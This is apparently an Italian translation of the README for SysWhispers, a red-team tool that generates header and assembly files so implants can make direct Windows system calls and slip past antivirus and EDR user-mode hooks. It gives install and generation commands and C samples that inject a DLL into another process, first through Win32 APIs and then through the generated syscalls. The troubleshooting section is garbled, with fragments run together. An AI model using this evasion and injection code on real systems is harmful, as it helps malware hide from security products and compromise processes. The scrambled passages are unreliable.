
Elusione di AV/EDR tramite chiamate di sistema dirette.
SysWhispers aiuta nell'evasione generando file header/ASM che gli impianti possono utilizzare per effettuare chiamate di sistema dirette.
Tutte le syscall principali sono supportate da Windows XP a Windows 10 19042 (20H2). I file di esempio generati sono disponibili nella cartella example-output/.
Vari prodotti di sicurezza inseriscono hook nelle API in spazio utente che permettono loro di reindirizzare il flusso di esecuzione verso i propri motori e rilevare comportamenti sospetti. Le funzioni in ntdll.dll che eseguono le syscall sono costituite da poche istruzioni assembly, quindi reimplementarle nel proprio impianto può bypassare l'attivazione di quegli hook dei prodotti di sicurezza. Questa tecnica è stata resa popolare da @Cn33liz e il suo articolo contiene ulteriori dettagli tecnici che vale la pena leggere.
SysWhispers offre ai red teamer la possibilità di generare coppie header/ASM per qualsiasi chiamata di sistema nell'immagine del kernel principale (ntoskrnl.exe) su qualsiasi versione di Windows a partire da XP. Gli header includeranno anche le definizioni dei tipi necessari.
La principale differenza implementativa tra questo e la POC Dumpert è che questa non chiama RtlGetVersion per interrogare la versione del sistema operativo, ma lo fa direttamente nell'assembly interrogando il PEB. Il vantaggio è poter chiamare un'unica funzione che supporta più versioni di Windows invece di chiamare più funzioni ciascuna delle quali supporta una singola versione.
> git clone https://github.com/jthuraisamy/SysWhispers.git
> cd SysWhispers
> pip3 install -r .\requirements.txt
> py .\syswhispers.py --help
# Export all functions with compatibility for all supported Windows versions (see example-output/).
py .\syswhispers.py --preset all -o syscalls_all
# Export just the common functions with compatibility for Windows 7, 8, and 10.
py .\syswhispers.py --preset common -o syscalls_common
# Export NtProtectVirtualMemory and NtWriteVirtualMemory with compatibility for all versions.
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem
# Export all functions with compatibility for Windows 7, 8, and 10.
py .\syswhispers.py --versions 7,8,10 -o syscalls_78X
PS C:\Projects\SysWhispers> py .\syswhispers.py --preset common --out-file syscom
, , ,_ /_ . , ,_ _ ,_ ,
_/_)__(_/__/_)__/_/_/ / (__/__/_)__/_)__(/__/ (__/_)__
_/_ /
(/ / @Jackson_T, 2019
SysWhispers: Why call the kernel when you can whisper?
Common functions selected.
Complete! Files written to:
syscom.asm
syscom.h
CreateRemoteThreadpy .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
#include <Windows.h>
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
#include <Windows.h>
#include "syscalls.h" // Import the generated header.
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
HANDLE hThread = NULL;
LPVOID lpAllocationStart = nullptr;
SIZE_T szAllocationSize = strlen(dllPath);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}
Usando lo switch --preset common verrà creata una coppia header/ASM con le seguenti funzioni:
win32k.sys) non sono supportate.ModuleNotFoundError nello script Python.
pip3 install -r requirements.txt.syscalls.h sono già stati definiti.
--preset all è raramente necessario).syscalls.h.Questo script è stato sviluppato da @Jackson_T ma si basa sul lavoro di molti altri:
Un ringraziamento speciale a @Dcept905 per i test e i suggerimenti.
Questo progetto è concesso in licenza secondo i termini della Apache License 2.0.